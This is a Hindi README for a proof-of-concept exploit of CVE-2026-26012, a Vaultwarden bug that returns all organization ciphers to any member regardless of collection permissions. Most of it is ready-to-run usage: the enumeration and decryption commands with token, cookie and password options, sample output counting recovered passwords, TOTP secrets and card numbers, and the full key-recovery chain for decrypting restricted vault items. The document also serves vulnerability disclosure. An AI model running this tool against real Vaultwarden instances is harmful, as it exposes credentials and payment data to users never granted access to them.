
CVE-2026-26012 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Vaultwarden में एक टूटा हुआ एक्सेस कंट्रोल जो किसी भी संगठन सदस्य को सभी सिफरों की गणना और डिक्रिप्ट करने की अनुमति देता है, संग्रह अनुमतियों को बायपास करते हुए।
संगठन संग्रह अनुमतियों को अनदेखा करते हुए पूर्ण सिफर एन्यूमरेशन
CVE-2026-26012 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Vaultwarden (<= 1.35.2) में एक टूटा हुआ एक्सेस कंट्रोल भेद्यता है, जो किसी भी संगठन सदस्य को संग्रह-स्तरीय अनुमतियों की परवाह किए बिना संगठन के भीतर सभी सिफर को पुनर्प्राप्त और डिक्रिप्ट करने की अनुमति देता है।
🤖 नोट: यह प्रोजेक्ट Claude 3 Opus की सहायता से विकसित किया गया था। कोड जनरेशन, आर्किटेक्चरल संरचना और दस्तावेज़ीकरण के लिए AI का उपयोग किया गया था। सभी आउटपुट की मैन्युअल रूप से समीक्षा की गई है और गुणवत्ता आश्वासन के लिए परीक्षण किया गया है।
| CVE | CVE-2026-26012 |
| एडवाइज़री | GHSA-h265-g7rm-h337 |
| प्रभावित | Vaultwarden ≤ 1.35.2 |
| इसमें ठीक किया गया | 1.35.3 |
| CVSS 3.1 | 6.5 (मध्यम) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — गलत प्राधिकरण |
| श्रेय | @odgrso द्वारा खोजा गया, @BlackDex द्वारा ठीक किया गया |
API एंडपॉइंट GET /api/ciphers/organization-details किसी भी संगठन सदस्य के लिए सुलभ है। आंतरिक रूप से, यह Cipher::find_by_org को कॉल करता है जो संगठन में सभी सिफर लौटाता है, फिर उन्हें CipherSyncType::Organization के साथ संग्रह-स्तरीय एक्सेस कंट्रोल लागू किए बिना परोसता है।
चूंकि सभी संगठन सिफर एक ही संगठन एन्क्रिप्शन कुंजी साझा करते हैं (जो हर सदस्य को शामिल होने पर प्राप्त होती है), लीक हुए सिफर को क्लाइंट-साइड पर पूरी तरह से डिक्रिप्ट किया जा सकता है।
नियमित संगठन सदस्य ("Public" संग्रह तक सीमित)
│
├── GET /api/sync → 5 सिफर (सही)
│
└── GET /api/ciphers/organization-details
└──→ 47 सिफर (सभी संगठन सिफर — बग)
└──→ प्रतिबंधित संग्रहों से 42 सिफर (लीक)
└──→ सदस्य के पास पहले से मौजूद संगठन कुंजी से डिक्रिप्ट करने योग्य
.
├── README.md # यह फ़ाइल
├── poc_cve_2026_26012.py # चरण 1: सिफर एन्यूमरेशन और लीक का पता लगाना
├── poc_decrypt.py # चरण 2: संगठन कुंजी पुनर्प्राप्ति और सिफर डिक्रिप्शन
└── LICENSE
cryptography (चरण 2 डिक्रिप्शन के लिए)argon2-cffi (केवल तभी जब लक्ष्य इंस्टेंस Argon2id KDF का उपयोग करता है)pip install cryptography
pip install argon2-cffi # वैकल्पिक
सामान्य /api/sync एंडपॉइंट द्वारा लौटाए गए सिफर की तुलना भेद्य /api/ciphers/organization-details एंडपॉइंट से करके पता लगाता है कि इंस्टेंस भेद्य है या नहीं।
# ब्राउज़र के माध्यम से प्रमाणित करें (SSO + 2FA समर्थित), फिर Bearer टोकन पास करें
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer टोकन (अनुशंसित — SSO + 2FA के साथ काम करता है)
--token "eyJhbGciOi..."
# सत्र कुकी
--cookie "VAULTWARDEN_SESSION=abc123..."
# रॉ Cookie हेडर (एकाधिक कुकीज़)
--cookie-header "session=abc; token=xyz"
# सीधा पासवर्ड लॉगिन (केवल NO SSO, NO 2FA)
--email [email protected] --password "MasterPassword"
अपना Bearer टोकन कैसे निकालें:
/api/... के लिए एक अनुरोध खोजें और Authorization हेडर मान कॉपी करें--no-verify-ssl # SSL सत्यापन छोड़ें (स्व-हस्ताक्षरित प्रमाणपत्र)
--show-all # वैध रूप से सुलभ सिफर भी प्रदर्शित करें
--max-display 50 # दिखाने के लिए अधिकतम लीक सिफर की संख्या (डिफ़ॉल्ट: 20)
--output results.json # पूर्ण परिणाम JSON में निर्यात करें
संगठन एन्क्रिप्शन कुंजी पुनर्प्राप्त करता है और चरण 1 से सभी लीक हुए सिफर डिक्रिप्ट करता है।
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
नोट:
--master-passwordआपका Vaultwarden मास्टर पासवर्ड है, जिसका उपयोग डिक्रिप्शन कुंजी श्रृंखला प्राप्त करने के लिए स्थानीय रूप से किया जाता है। इसे कभी भी नेटवर्क पर नहीं भेजा जाता है।--tokenAPI प्रमाणीकरण संभालता है।
समस्या निवारण: यदि कुंजी डिक्रिप्शन विफल हो जाता है, तो प्रत्येक चरण पर मध्यवर्ती मान देखने के लिए
--debugजोड़ें। स्क्रिप्ट विभिन्न खाता आयु और कॉन्फ़िगरेशन को संभालने के लिए स्वचालित रूप से 5 रणनीतियाँ (HKDF आधुनिक, HMAC विरासत, रॉ कुंजी, और HMAC-स्किप वेरिएंट) आज़माती है।
यदि आपके पास पहले से 64-बाइट संगठन कुंजी (128 हेक्स वर्ण) है:
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === कुंजी पुनर्प्राप्ति श्रृंखला ===
[1/6] KDF पैरामीटर प्राप्त करना...
KDF: PBKDF2-SHA256, पुनरावृत्तियाँ: 600000
[2/6] मास्टर कुंजी प्राप्त करना...
[3/6] मास्टर कुंजी स्ट्रेच करना (HKDF-Expand)...
[4/6] /api/sync से एन्क्रिप्टेड कुंजियाँ प्राप्त करना...
संगठन: ACME Corp
[5/6] उपयोगकर्ता सममित कुंजी डिक्रिप्ट करना...
[6/6] RSA निजी कुंजी डिक्रिप्ट करना → संगठन कुंजी...
[+] संगठन कुंजी सफलतापूर्वक पुनर्प्राप्त!
[*] 42 सिफर डिक्रिप्ट करना...
============================================================
डिक्रिप्शन परिणाम
============================================================
कुल: 42
डिक्रिप्टेड: 42
त्रुटियाँ: 0
प्रभाव सारांश
पुनर्प्राप्त पासवर्ड: 35
पुनर्प्राप्त TOTP रहस्य: 12
पुनर्प्राप्त कार्ड नंबर: 3
============================================================
प्रत्येक संगठन सदस्य के पास पहले से ही संगठन की सममित कुंजी होती है, जो उनकी RSA सार्वजनिक कुंजी से एन्क्रिप्टेड होती है। डिक्रिप्शन श्रृंखला है:
मास्टर पासवर्ड + ईमेल
│ PBKDF2-SHA256 या Argon2id
▼
मास्टर कुंजी (32 बाइट्स)
│ HKDF-Expand-SHA256
▼
स्ट्रेच्ड कुंजी: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (profile.key डिक्रिप्ट करता है)
▼
उपयोगकर्ता सममित कुंजी: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (profile.privateKey डिक्रिप्ट करता है)
▼
RSA निजी कुंजी (2048-बिट PKCS#8 DER)
│ RSA-OAEP-SHA1 (profile.organizations[].key डिक्रिप्ट करता है)
▼
संगठन कुंजी: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
डिक्रिप्टेड सिफर डेटा
Bitwarden/Vaultwarden मॉडल में, संगठन में सभी सिफर एक ही एन्क्रिप्शन कुंजी साझा करते हैं। संग्रह-आधारित एक्सेस कंट्रोल केवल सर्वर-साइड पर लागू किया जाता है — क्रिप्टोग्राफ़िक मॉडल संग्रह सीमाओं को लागू नहीं करता है। कोई भी सदस्य जिसके पास संगठन कुंजी है, संगठन में किसी भी सिफर को डिक्रिप्ट कर सकता है। यह CVE सर्वर-साइड फ़िल्टर को बायपास करता है, जिससे सभी सिफर किसी भी सदस्य को उजागर हो जाते हैं।